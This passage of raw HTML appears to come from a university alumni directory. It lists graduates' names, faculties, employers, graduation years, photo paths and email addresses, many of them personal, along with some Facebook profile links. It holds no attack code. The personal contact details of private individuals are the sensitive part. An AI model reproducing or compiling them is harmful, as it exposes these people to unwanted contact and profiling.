margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ADA Universitetinde Telebe qebul shobesinde</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:sdadashova@ada.edu.az\">sdadashova@ada.edu.az</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2004</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/shahab_kateb.jpg\" style=\"border:0px  #000000;width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Shahab Kateb</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Petroleum Engineering and Management  , Petroleum Engineer</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">MIllennum ENergy Co.&nbsp; General Manager ( Petrolem Industry and\r\n  Porcumet on Petrochemical and Oil Industry )</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:Shahab.Kateb@gmail.com\">Shahab.Kateb@gmail.com</a>\r\n  / <a href=\"mailto:shahab.kateb@millenniumenergyco.com\">shahab.kateb@millenniumenergyco.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2012</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/rustamova_(qiyasova)_aytan.png\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Aytən Rüstəmova (Qiyasova) </strong></p><p>School of Economics and Management,&nbsp;MBA\r\n  International Business</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Avropa Yenidənqurma\r\n  və İnkişaf Bankı. Baş Bankir</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:ayten_giyas@hotmail.com\">ayten_giyas@hotmail.com</a>; <a href=\"mailto:rustamoa@ebrd.com\">rustamoa@ebrd.com</a>&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2007</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/elnur-atayev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elnur Atayev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və Sosial Elmlər fakultəsi, Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Sabirabad regional \"ASAN xidmət\" mərkəzi - Kadr və təlim işləri üzrə məsul şəxs</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:elnur.atayev@gmail.com\">elnur.atayev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">2013</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/nigar_cabbarova.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.6pt\";vertical-align:top\"=\"\">\r\n  <p><span style=\"font-size:12.0pt\"><strong>Nigar\r\nJabbarova</strong></span></p><p>School\r\nof Economics and Management</p>\r\n<p>MBA,\r\n2015 </p>\r\n<p>Accounting\r\nand audit in manufacture sphere</p><p>Bank\r\nof Baku – Department of Digital Banking and Project management <a href=\"mailto:nigarjabbarova@hotmail.com\">nigarjabbarova@hotmail.com</a> ; <a href=\"mailto:nscabbarova@bankofbaku.com\">nscabbarova@bankofbaku.com</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/nicat_rustamov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Nicat Rüstəmov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Humanitar və Sosial Elmlər fakultəsi, Politologiya  </p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Az-Granata MMC, Təchizat üzrə mütəxəsis</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:strabon89@mail.ru\">strabon89@mail.ru</a>&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2012</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/eldar_hamidov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Eldar\r\n  Hamidov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Deputy Chairman,&nbsp;JSC “Bank of Baku”</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Email: <a href=\"mailto:EEHamidov@bankofbaku.com\">EEHamidov@bankofbaku.com</a></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/AbdulAli_Aliyev.png\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Abdulali Aliyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">HUAWAI (Chinese company)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:abdulalialiyev@outlook.com\">abdulalialiyev@outlook.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Bilqeys_Alekberli..jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><span style=\"box-sizing:border-box;font-weight:bold\">Bilgeys Alekberli</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Finance</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:&nbsp;<a href=\"mailto:bilqeys_alekberli@yahoo.com\">bilqeys_alekberli@yahoo.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Bachelor 2016&nbsp; (Honor)</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/anar_mammadov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:10.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Anar Məmmədov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Humanitar və Sosial Elmlər fakultəsi, &nbsp;Regionşünaslıq</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Nivelsoft şirketi IT Manager&nbsp;</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:Anar.Mammadov3@gmail.com\">Anar.Mammadov3@gmail.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2014</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Yasemen_Qadirova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Yasəmən Qadirova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">English Teaching</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gold Language Teaching Center, İs Alyans</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:jasminkhazar@yahoo.com\">jasminkhazar@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor   2015</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/ruslan_salahov..png\" style=\"float:left;width:150px;height:200px\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>Ruslan Salahov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong></strong>Humanitar və Sosial Elmlər fakultəsi,&nbsp;Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:<a href=\"mailto:ruslan.salahov1@mail.ru\">ruslan.salahov1@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Bakalavr 2015</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:71.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/obiageli_okafor.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:71.5pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Obiageli Okafor</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Tibb fakultesi</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Clinical Support Officer. FHI\r\n  360, Lagos, Nigeria</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:writeoby@gmail.com\">writeoby@gmail.com</a> ,<a href=\"mailto:obo021@mail.harvard.edu\">obo021@mail.harvard.edu</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Bachelor  2008</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/Vahid_Huseynov.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:11.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Vahid\r\n  Hüseynov</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Humanitar və Sosial Elmlər fakultəsi, tərcümə (eng-arab)</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Şahdəniz 2 layihəsi, Sangaçal Terminal-Sahə Rəisi</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:vahid.huseynov@gmail.com\">vahid.huseynov@gmail.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Bakalavr  2013</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/abdul_rasheed_razia.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Abdul Rasheed Razia</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Faculty of Medicine</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">G.P (General practioner)&nbsp; in\r\n  Tindivanam (Home town)</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Email: <a href=\"mailto:dr.raziaar@gmail.com\">dr.raziaar@gmail.com</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2003- 2008</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Govindaraj%20Venkatraman.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Govindaraj Venkatraman</strong></p><p>Faculty of Medicine</p><p>Consultant in Emergency medicine, Chennai</p><p>&nbsp;E-mail:&nbsp;<a href=\"http://mailto:Venkat18121983@gmail.com/\">Venkat18121983@gmail.com</a></p><p>Bachelor  2003-2008  <br></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/RAMAKRISHNAN%20KALAIVANI..png\" style=\"width:150px;height:200px;margin:7px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ramakrishnan&nbsp;&nbsp;Kalaivani</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">&nbsp;Faculty&nbsp;of&nbsp;Medicine &nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Doctor,Consultant-Telemedicine&nbsp;Department</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Apollo&nbsp;Hospitals,Hyderabad</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:artcomeyou2007@gmail.com/\">artcomeyou2007@gmail.com&nbsp;</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bachelor  2003-2008 &nbsp;<br></p>  </td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/Turana%20Aliyeva.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Turana&nbsp;\r\n  Aliyeva (Akhundova )</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">HSS,Translator</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Axa Mbask IC\r\n  ,baş mütəxəsis</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:turana.aliyeva@axambask.az\">turana.aliyeva@axambask.az</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2011</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Shamsi_Qadirli.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><span style=\"box-sizing:border-box;font-weight:bold\">Shamsi Gadirli&nbsp;</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Economics and management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Economics&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Gabala tourism and information center&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:&nbsp;<a href=\"mailto:shamsiqadirli@gmail.com\">shamsiqadirli@gmail.com</a></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/elnare_memmedova.JPG\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Elnara &nbsp;Mammadova</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Finance, Planning &amp; perofrmance advisor&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:  <a href=\"mailto:mamedoej@bp.com\">mamedoej@bp.com</a>  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2003</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ismayil%20Valiyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ismayil Valiyev&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Humanities and Social Sciences</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Trainer at&nbsp;<a href=\"https://www.facebook.com/pages/ANC-Group/676672779051365?ref=br_rs\">ANC Group</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Trainer (Business Success and Phycology) at&nbsp;<a href=\"https://www.facebook.com/pages/The-Fond-of-Aid-For-Youth-Trainer/148809885224748?ref=br_rs\">The Fond of Aid For Youth, Trainer.</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Vice President of Public Relations at&nbsp;<a href=\"https://www.facebook.com/pages/Harvard-Toastmasters-Club/1069476426454203?ref=br_rs\">Harvard Toastmasters Club</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Studies Business Analytics I Financial Accounting I Economics for Managers. at&nbsp;<a href=\"https://www.facebook.com/HarvardHBX/?ref=br_rs\">HBX - Harvard Business School</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Facebook :&nbsp;<a href=\"https://www.facebook.com/iveliyev1?fref=ts\" style=\"font-family:\'Times New Roman\', serif;font-size:14pt;background-color:#fffffff\">https://www.facebook.com/iveliyev1?fref=ts</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Shafag%20Mehraliyeva.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Shafag Mehraliyeva&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Humanities and Social Sciences&nbsp;</p><p>Works: ADA University</p><p>Studied:&nbsp;<a href=\"https://www.facebook.com/pages/George-Washington-University/108727889151725\">George Washington University</a>&nbsp;  <br></p> <p><a 